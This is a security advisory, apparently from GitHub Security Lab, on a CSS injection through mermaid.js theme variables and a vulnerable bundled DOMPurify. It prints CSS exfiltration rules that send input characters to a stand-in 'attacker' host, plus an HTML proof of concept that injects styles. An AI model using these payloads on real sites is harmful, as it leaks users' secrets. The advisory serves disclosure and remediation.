Possible inject arbitrary `CSS` into the generated graph affecting the container HTML
An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.
```css
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
```

## Product
mermaid.js
## Tested Version
[v9.1.1](https://github.com/mermaid-js/mermaid/releases/tag/9.1.1)
## Details
### Issue 1: Multiple CSS Injection (`GHSL-2022-036`)
By supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection.
_Snippet from [src/styles.js](https://github.com/mermaid-js/mermaid/blob/9eae97ddab1b6eca58d2fd4af62357d2f4d8d1f7/src/styles.js#L35):_
```js
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
```
For example, if we set `textColor` to `"green;} #target { background-color: crimson }"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element.
```html
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
```
In the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35
#### Impact
This issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
#### Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks. |

Prototype pollution vulnerability found in Mermaid's bundled version of DOMPurify
The following bundled files within the Mermaid NPM package contain a bundled version of DOMPurify that is vulnerable to https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674, potentially resulting in an XSS attack.
This affects the built:
- `dist/mermaid.min.js`
- `dist/mermaid.js`
- `dist/mermaid.esm.mjs`
- `dist/mermaid.esm.min.mjs`
This will also affect users that use the above files via a CDN link, e.g. `https://cdn.jsdelivr.net/npm/mermaid@10.9.2/dist/mermaid.min.js`
**Users that use the default NPM export of `mermaid`, e.g. `import mermaid from 'mermaid'`, or the `dist/mermaid.core.mjs` file, do not use this bundled version of DOMPurify, and can easily update using their package manager with something like `npm audit fix`.**
### Patches
- `develop` branch: 6c785c93166c151d27d328ddf68a13d9d65adc00
- backport to v10: 92a07ffe40aab2769dd1c3431b4eb5beac282b34 |
